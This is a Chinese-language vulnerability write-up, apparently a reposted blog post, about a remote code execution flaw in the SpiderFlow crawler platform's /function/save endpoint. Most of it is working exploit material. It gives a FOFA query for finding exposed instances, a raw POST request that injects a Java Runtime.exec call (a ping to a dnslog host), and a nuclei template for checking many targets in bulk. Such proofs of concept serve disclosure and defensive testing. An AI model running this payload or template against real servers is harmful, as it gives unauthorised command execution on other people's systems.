SpiderFlow爬虫平台RCE漏洞

admin 2024年1月21日23:52:17评论9 views字数 1626阅读5分25秒阅读模式

免责声明:

本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

漏洞描述

SpiderFlow是新一代开源爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。该系统/function/save接口存在RCE漏洞,攻击者可以构造恶意命令远控服务器。

fofa语句

app="SpiderFlow"

漏洞复现

打开页面

SpiderFlow爬虫平台RCE漏洞

构造payload

SpiderFlow爬虫平台RCE漏洞

POST /function/save HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 117
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+unxzki.dnslog.cn')%3B%7B

查看dnslog平台

SpiderFlow爬虫平台RCE漏洞

nuclei批量验证

SpiderFlow爬虫平台RCE漏洞

id: SpiderFlow-RCE

info:
name: SpiderFlow爬虫平台RCE漏洞
author: changge
severity: critical
description: SpiderFlow是新一代开源爬虫平台,以图形化方式定义爬虫流程,不写代码即可完成爬虫。基于springboot+layui开发的前后端不分离,也可以进行二次开发,因此收到很多人的喜欢,在gitee上有7.4K Star。该系统/function/save接口存在RCE漏洞,攻击者可以构造恶意命令远控服务器。
metadata:
max-request: 1
fofa-query: app="SpiderFlow"
verified: true
requests:
- raw:
- |+
POST /function/save HTTP/1.1
Host: {{Hostname}}
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+{{interactsh-url}}')%3B%7B

matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, "dns")
condition: and

github poc总汇地址:https://github.com/AYcg/poc

原文始发于微信公众号(AY长歌):SpiderFlow爬虫平台RCE漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月21日23:52:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SpiderFlow爬虫平台RCE漏洞https://cn-sec.com/archives/2414178.html

发表评论

匿名网友 填写信息